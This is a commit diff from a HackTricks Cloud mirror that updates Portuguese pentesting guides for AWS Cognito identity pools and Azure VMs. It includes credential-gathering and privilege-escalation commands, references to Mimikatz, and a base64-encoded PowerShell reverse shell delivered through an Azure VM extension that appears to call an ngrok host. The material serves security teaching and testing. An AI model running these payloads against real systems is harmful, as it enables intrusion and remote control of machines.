mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-02-04 19:11:41 -08:00
Translated ['src/pentesting-cloud/aws-security/aws-services/aws-cognito-
This commit is contained in:
Binary file not shown.
|
Before Width: | Height: | Size: 1.1 MiB After Width: | Height: | Size: 3.5 MiB |
@@ -2,9 +2,9 @@
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Informações Básicas
|
||||
## Basic Information
|
||||
|
||||
Os pools de identidade desempenham um papel crucial ao permitir que seus usuários **adquiram credenciais temporárias**. Essas credenciais são essenciais para acessar vários serviços da AWS, incluindo, mas não se limitando a, Amazon S3 e DynamoDB. Um recurso notável dos pools de identidade é o suporte tanto para usuários anônimos quanto para uma variedade de provedores de identidade para autenticação de usuários. Os provedores de identidade suportados incluem:
|
||||
Os pools de identidade desempenham um papel crucial ao permitir que seus usuários **adquiram credenciais temporárias**. Essas credenciais são essenciais para acessar vários serviços da AWS, incluindo, mas não se limitando a, Amazon S3 e DynamoDB. Um recurso notável dos pools de identidade é seu suporte tanto para usuários convidados anônimos quanto para uma variedade de provedores de identidade para autenticação de usuários. Os provedores de identidade suportados incluem:
|
||||
|
||||
- Amazon Cognito user pools
|
||||
- Opções de login social, como Facebook, Google, Login com Amazon e Sign in with Apple
|
||||
@@ -41,13 +41,13 @@ Isso é **útil para manter informações de um usuário** (que sempre usará o
|
||||
|
||||
Além disso, o serviço **cognito-sync** é o serviço que permite **gerenciar e sincronizar essas informações** (nos conjuntos de dados, enviando informações em streams e mensagens SNS...).
|
||||
|
||||
### Ferramentas para pentesting
|
||||
### Tools for pentesting
|
||||
|
||||
- [Pacu](https://github.com/RhinoSecurityLabs/pacu), o framework de exploração da AWS, agora inclui os módulos "cognito\_\_enum" e "cognito\_\_attack" que automatizam a enumeração de todos os ativos do Cognito em uma conta e sinalizam configurações fracas, atributos de usuário usados para controle de acesso, etc., e também automatizam a criação de usuários (incluindo suporte a MFA) e escalonamento de privilégios com base em atributos personalizados modificáveis, credenciais de pool de identidade utilizáveis, funções assumíveis em tokens de id, etc.
|
||||
|
||||
Para uma descrição das funções dos módulos, veja a parte 2 do [blog post](https://rhinosecuritylabs.com/aws/attacking-aws-cognito-with-pacu-p2). Para instruções de instalação, veja a página principal do [Pacu](https://github.com/RhinoSecurityLabs/pacu).
|
||||
|
||||
#### Uso
|
||||
#### Usage
|
||||
|
||||
Exemplo de uso do cognito\_\_attack para tentar a criação de usuários e todos os vetores de privesc contra um determinado pool de identidade e cliente de pool de usuários:
|
||||
```bash
|
||||
@@ -116,7 +116,7 @@ aws cognito-identity get-credentials-for-identity --identity-id <identity_id> --
|
||||
|
||||
### Fluxo de Autenticação Aprimorado vs Básico
|
||||
|
||||
A seção anterior seguiu o **fluxo de autenticação aprimorado padrão**. Esse fluxo define uma **política de sessão** [**restritiva**](../../aws-basic-information/#session-policies) para a sessão do papel IAM gerado. Essa política permitirá que a sessão [**use os serviços desta lista**](https://docs.aws.amazon.com/cognito/latest/developerguide/iam-roles.html#access-policies-scope-down-services) (mesmo que o papel tenha acesso a outros serviços).
|
||||
A seção anterior seguiu o **fluxo de autenticação aprimorado padrão**. Este fluxo define uma **política de sessão** [**restritiva**](../../aws-basic-information/index.html#session-policies) para a sessão do papel IAM gerado. Esta política permitirá apenas que a sessão [**use os serviços desta lista**](https://docs.aws.amazon.com/cognito/latest/developerguide/iam-roles.html#access-policies-scope-down-services) (mesmo que o papel tenha acesso a outros serviços).
|
||||
|
||||
No entanto, há uma maneira de contornar isso; se o **pool de Identidade tiver "Fluxo Básico (Clássico)" habilitado**, o usuário poderá obter uma sessão usando esse fluxo que **não terá essa política de sessão restritiva**.
|
||||
```bash
|
||||
@@ -135,41 +135,41 @@ aws sts assume-role-with-web-identity --role-arn "arn:aws:iam::<acc_id>:role/<ro
|
||||
|
||||
> `An error occurred (InvalidParameterException) when calling the GetOpenIdToken operation: Basic (classic) flow is not enabled, please use enhanced flow.`
|
||||
|
||||
Tendo um conjunto de credenciais IAM, você deve verificar [quais acessos você tem](../../#whoami) e tentar [escalar privilégios](../../aws-privilege-escalation/).
|
||||
Tendo um conjunto de credenciais IAM, você deve verificar [quais acessos você tem](../../index.html#whoami) e tentar [escalar privilégios](../../aws-privilege-escalation/index.html).
|
||||
|
||||
### Autenticado
|
||||
|
||||
> [!NOTE]
|
||||
> Lembre-se de que **usuários autenticados** provavelmente terão **permissões diferentes**, então se você puder **se inscrever dentro do aplicativo**, tente fazer isso e obtenha as novas credenciais.
|
||||
|
||||
Também pode haver **funções** disponíveis para **usuários autenticados acessando o Identity Pool**.
|
||||
Também pode haver **papéis** disponíveis para **usuários autenticados acessando o Identity Pool**.
|
||||
|
||||
Para isso, você pode precisar ter acesso ao **provedor de identidade**. Se for um **Cognito User Pool**, talvez você possa abusar do comportamento padrão e **criar um novo usuário você mesmo**.
|
||||
|
||||
> [!TIP]
|
||||
> A **função IAM Cognito autenticada criada via** é chamada por padrão `Cognito_<Identity Pool name>Auth_Role`
|
||||
> O **papel autenticado do IAM Cognito criado via** é chamado por padrão `Cognito_<Identity Pool name>Auth_Role`
|
||||
|
||||
De qualquer forma, o **exemplo a seguir** espera que você já tenha feito login em um **Cognito User Pool** usado para acessar o Identity Pool (não se esqueça de que outros tipos de provedores de identidade também podem ser configurados).
|
||||
|
||||
<pre class="language-bash"><code class="lang-bash">aws cognito-identity get-id \
|
||||
--identity-pool-id <identity_pool_id> \
|
||||
--logins cognito-idp.<region>.amazonaws.com/<YOUR_USER_POOL_ID>=<ID_TOKEN>
|
||||
--identity-pool-id <identity_pool_id> \
|
||||
--logins cognito-idp.<region>.amazonaws.com/<YOUR_USER_POOL_ID>=<ID_TOKEN>
|
||||
|
||||
# Obtenha o identity_id da resposta do comando anterior
|
||||
aws cognito-identity get-credentials-for-identity \
|
||||
--identity-id <identity_id> \
|
||||
--logins cognito-idp.<region>.amazonaws.com/<YOUR_USER_POOL_ID>=<ID_TOKEN>
|
||||
--identity-id <identity_id> \
|
||||
--logins cognito-idp.<region>.amazonaws.com/<YOUR_USER_POOL_ID>=<ID_TOKEN>
|
||||
|
||||
|
||||
# No IdToken você pode encontrar funções às quais um usuário tem acesso devido aos Grupos do User Pool
|
||||
# Use o --custom-role-arn para obter credenciais para uma função específica
|
||||
# No IdToken você pode encontrar os papéis que um usuário tem acesso devido aos Grupos do User Pool
|
||||
# Use o --custom-role-arn para obter credenciais para um papel específico
|
||||
aws cognito-identity get-credentials-for-identity \
|
||||
--identity-id <identity_id> \
|
||||
<strong> --custom-role-arn <role_arn> \
|
||||
</strong> --logins cognito-idp.<region>.amazonaws.com/<YOUR_USER_POOL_ID>=<ID_TOKEN>
|
||||
--identity-id <identity_id> \
|
||||
<strong> --custom-role-arn <role_arn> \
|
||||
</strong> --logins cognito-idp.<region>.amazonaws.com/<YOUR_USER_POOL_ID>=<ID_TOKEN>
|
||||
</code></pre>
|
||||
|
||||
> [!WARNING]
|
||||
> É possível **configurar diferentes funções IAM dependendo do provedor de identidade** com o qual o usuário está logado ou até mesmo apenas dependendo **do usuário** (usando claims). Portanto, se você tiver acesso a diferentes usuários através do mesmo ou de diferentes provedores, pode ser **vale a pena fazer login e acessar as funções IAM de todos eles**.
|
||||
> É possível **configurar diferentes papéis IAM dependendo do provedor de identidade** que o usuário está logado ou até mesmo apenas dependendo **do usuário** (usando claims). Portanto, se você tiver acesso a diferentes usuários através do mesmo ou de diferentes provedores, pode ser **vale a pena fazer login e acessar os papéis IAM de todos eles**.
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -2,9 +2,9 @@
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Informações Básicas sobre Rede do Azure
|
||||
## Informações Básicas sobre Redes Azure
|
||||
|
||||
As redes do Azure contêm **diferentes entidades e maneiras de configurá-las.** Você pode encontrar uma breve **descrição,** **exemplos** e comandos de **enumeração** das diferentes entidades de rede do Azure em:
|
||||
As redes Azure contêm **diferentes entidades e maneiras de configurá-las.** Você pode encontrar uma breve **descrição,** **exemplos** e comandos de **enumeração** das diferentes entidades de rede Azure em:
|
||||
|
||||
{{#ref}}
|
||||
az-azure-network.md
|
||||
@@ -33,11 +33,11 @@ As Máquinas Virtuais (VMs) do Azure são servidores **baseados em nuvem flexív
|
||||
- **Alertas**: É possível receber automaticamente alertas por e-mail ou aplicativo móvel quando algo acontece na VM. Regras padrão:
|
||||
- Porcentagem de CPU é maior que 80%
|
||||
- Bytes de Memória Disponível é menor que 1GB
|
||||
- Porcentagem de IOPS Consumidos de Discos de Dados é maior que 95%
|
||||
- Porcentagem de IOPS Consumidos do SO é maior que 95%
|
||||
- Porcentagem de IOPS de Discos de Dados Consumidos é maior que 95%
|
||||
- Porcentagem de IOPS do SO Consumidos é maior que 95%
|
||||
- Rede Total é maior que 500GB
|
||||
- Rede Saída Total é maior que 200GB
|
||||
- VmAvailabilityMetric é menor que 1
|
||||
- Métrica de Disponibilidade da VM é menor que 1
|
||||
- **Monitor de Saúde**: Por padrão, verifica o protocolo HTTP na porta 80
|
||||
- **Bloqueios**: Permite bloquear uma VM para que ela possa ser apenas lida (**Bloqueio Somente Leitura**) ou que possa ser lida e atualizada, mas não excluída (**Bloqueio Não Pode Excluir**).
|
||||
- A maioria dos recursos relacionados a VM **também suporta bloqueios** como discos, instantâneas...
|
||||
@@ -77,7 +77,7 @@ Get-AzDisk -Name <DiskName> -ResourceGroupName <ResourceGroupName>
|
||||
## Imagens, Imagens de Galeria e Pontos de Restauração
|
||||
|
||||
Uma **imagem de VM** é um modelo que contém o sistema operacional, configurações de aplicativo e sistema de arquivos necessários para **criar uma nova máquina virtual (VM)**. A diferença entre uma imagem e um instantâneo de disco é que um instantâneo de disco é uma cópia somente leitura, em um ponto no tempo, de um único disco gerenciado, usado principalmente para backup ou solução de problemas, enquanto uma imagem pode conter **múltiplos discos e é projetada para servir como um modelo para criar novas VMs**.\
|
||||
As imagens podem ser gerenciadas na **seção de Imagens** do Azure ou dentro das **galerias de computação do Azure**, que permitem gerar **versões** e **compartilhar** a imagem entre locatários ou até torná-la pública.
|
||||
As imagens podem ser gerenciadas na **seção de Imagens** do Azure ou dentro de **galerias de computação do Azure**, que permitem gerar **versões** e **compartilhar** a imagem entre locatários ou até torná-la pública.
|
||||
|
||||
Um **ponto de restauração** armazena a configuração da VM e **instantâneas consistentes de aplicativo em um ponto no tempo** de todos os discos gerenciados anexados à VM. Está relacionado à VM e seu propósito é ser capaz de restaurar essa VM para como ela estava naquele ponto específico.
|
||||
|
||||
@@ -144,7 +144,7 @@ Get-AzRestorePointCollection -Name <CollectionName> -ResourceGroupName <Resource
|
||||
|
||||
## Recuperação de Site do Azure
|
||||
|
||||
Do [**docs**](https://learn.microsoft.com/en-us/azure/site-recovery/site-recovery-overview): A Recuperação de Site ajuda a garantir a continuidade dos negócios, mantendo aplicativos e cargas de trabalho em funcionamento durante interrupções. A Recuperação de Site **replica cargas de trabalho** que estão sendo executadas em máquinas físicas e virtuais (VMs) de um site primário para um local secundário. Quando ocorre uma interrupção em seu site primário, você muda para um local secundário e acessa os aplicativos a partir daí. Depois que o local primário estiver funcionando novamente, você pode retornar a ele.
|
||||
A partir da [**documentação**](https://learn.microsoft.com/en-us/azure/site-recovery/site-recovery-overview): A Recuperação de Site ajuda a garantir a continuidade dos negócios, mantendo aplicativos e cargas de trabalho em funcionamento durante interrupções. A Recuperação de Site **replica cargas de trabalho** que estão em máquinas físicas e virtuais (VMs) de um site primário para um local secundário. Quando ocorre uma interrupção em seu site primário, você muda para um local secundário e acessa os aplicativos a partir daí. Após o local primário estar funcionando novamente, você pode retornar a ele.
|
||||
|
||||
## Bastion do Azure
|
||||
|
||||
@@ -509,7 +509,7 @@ az vm extension set \
|
||||
--protected-settings '{"commandToExecute": "powershell.exe -EncodedCommand JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIANwAuAHQAYwBwAC4AZQB1AC4AbgBnAHIAbwBrAC4AaQBvACIALAAxADkAMQA1ADkAKQA7ACQAcwB0AHIAZQBhAG0AIAA9ACAAJABjAGwAaQBlAG4AdAAuAEcAZQB0AFMAdAByAGUAYQBtACgAKQA7AFsAYgB5AHQAZQBbAF0AXQAkAGIAeQB0AGUAcwAgAD0AIAAwAC4ALgA2ADUANQAzADUAfAAlAHsAMAB9ADsAdwBoAGkAbABlACgAKAAkAGkAIAA9ACAAJABzAHQAcgBlAGEAbQAuAFIAZQBhAGQAKAAkAGIAeQB0AGUAcwAsACAAMAAsACAAJABiAHkAdABlAHMALgBMAGUAbgBnAHQAaAApACkAIAAtAG4AZQAgADAAKQB7ADsAJABkAGEAdABhACAAPQAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAC0AVAB5AHAAZQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4AQQBTAEMASQBJAEUAbgBjAG8AZABpAG4AZwApAC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAGIAeQB0AGUAcwAsADAALAAgACQAaQApADsAJABzAGUAbgBkAGIAYQBjAGsAIAA9ACAAKABpAGUAeAAgACQAZABhAHQAYQAgADIAPgAmADEAIAB8ACAATwB1AHQALQBTAHQAcgBpAG4AZwAgACkAOwAkAHMAZQBuAGQAYgBhAGMAawAyACAAIAA9ACAAJABzAGUAbgBkAGIAYQBjAGsAIAArACAAIgBQAFMAIAAiACAAKwAgACgAcAB3AGQAKQAuAFAAYQB0AGgAIAArACAAIgA+ACAAIgA7ACQAcwBlAG4AZABiAHkAdABlACAAPQAgACgAWwB0AGUAeAB0AC4AZQBuAGMAbwBkAGkAbgBnAF0AOgA6AEEAUwBDAEkASQApAC4ARwBlAHQAQgB5AHQAZQBzACgAJABzAGUAbgBkAGIAYQBjAGsAMgApADsAJABzAHQAcgBlAGEAbQAuAFcAcgBpAHQAZQAoACQAcwBlAG4AZABiAHkAdABlACwAMAAsACQAcwBlAG4AZABiAHkAdABlAC4ATABlAG4AZwB0AGgAKQA7ACQAcwB0AHIAZQBhAG0ALgBGAGwAdQBzAGgAKAApAH0AOwAkAGMAbABpAGUAbgB0AC4AQwBsAG8AcwBlACgAKQA="}'
|
||||
|
||||
```
|
||||
- Execute reverse shell a partir de arquivo
|
||||
- Execute reverse shell a partir de um arquivo
|
||||
```bash
|
||||
az vm extension set \
|
||||
--resource-group <rsc-group> \
|
||||
@@ -551,7 +551,7 @@ Set-AzVMAccessExtension -ResourceGroupName "<rsc-group>" -VMName "<vm-name>" -Na
|
||||
|
||||
<summary>DesiredStateConfiguration (DSC)</summary>
|
||||
|
||||
Esta é uma **extensão de VM** que pertence à Microsoft e utiliza PowerShell DSC para gerenciar a configuração de VMs Windows no Azure. Portanto, pode ser usada para **executar comandos arbitrários** em VMs Windows através desta extensão:
|
||||
Esta é uma **extensão de VM** que pertence à Microsoft e usa PowerShell DSC para gerenciar a configuração de VMs Windows no Azure. Portanto, pode ser usada para **executar comandos arbitrários** em VMs Windows através desta extensão:
|
||||
```bash
|
||||
# Content of revShell.ps1
|
||||
Configuration RevShellConfig {
|
||||
@@ -727,8 +727,8 @@ Estes são **dados persistentes** que podem ser recuperados do endpoint de metad
|
||||
|
||||
É possível passar alguns dados para a VM que serão armazenados em caminhos esperados:
|
||||
|
||||
- Em **Windows**, os dados personalizados são colocados em `%SYSTEMDRIVE%\AzureData\CustomData.bin` como um arquivo binário e não são processados.
|
||||
- Em **Linux**, eram armazenados em `/var/lib/waagent/ovf-env.xml` e agora estão armazenados em `/var/lib/waagent/CustomData/ovf-env.xml`
|
||||
- No **Windows**, os dados personalizados são colocados em `%SYSTEMDRIVE%\AzureData\CustomData.bin` como um arquivo binário e não são processados.
|
||||
- No **Linux**, eram armazenados em `/var/lib/waagent/ovf-env.xml` e agora estão armazenados em `/var/lib/waagent/CustomData/ovf-env.xml`
|
||||
- **Agente Linux**: Ele não processa dados personalizados por padrão, é necessária uma imagem personalizada com os dados habilitados.
|
||||
- **cloud-init:** Por padrão, ele processa dados personalizados e esses dados podem estar em [**vários formatos**](https://cloudinit.readthedocs.io/en/latest/explanation/format.html). Ele poderia executar um script facilmente enviando apenas o script nos dados personalizados.
|
||||
- Eu tentei que tanto o Ubuntu quanto o Debian executassem o script que você colocou aqui.
|
||||
@@ -793,7 +793,7 @@ Invoke-AzureRmVMBulkCMD -Script Mimikatz.ps1 -Verbose -output Output.txt
|
||||
## Acesso Não Autenticado
|
||||
|
||||
{{#ref}}
|
||||
../../az-unauthenticated-enum-and-initial-entry/az-vms-unath.md
|
||||
../../az-unauthenticated-enum-and-initial-entry/az-vms-unauth.md
|
||||
{{#endref}}
|
||||
|
||||
## Pós Exploração
|
||||
|
||||
Reference in New Issue
Block a user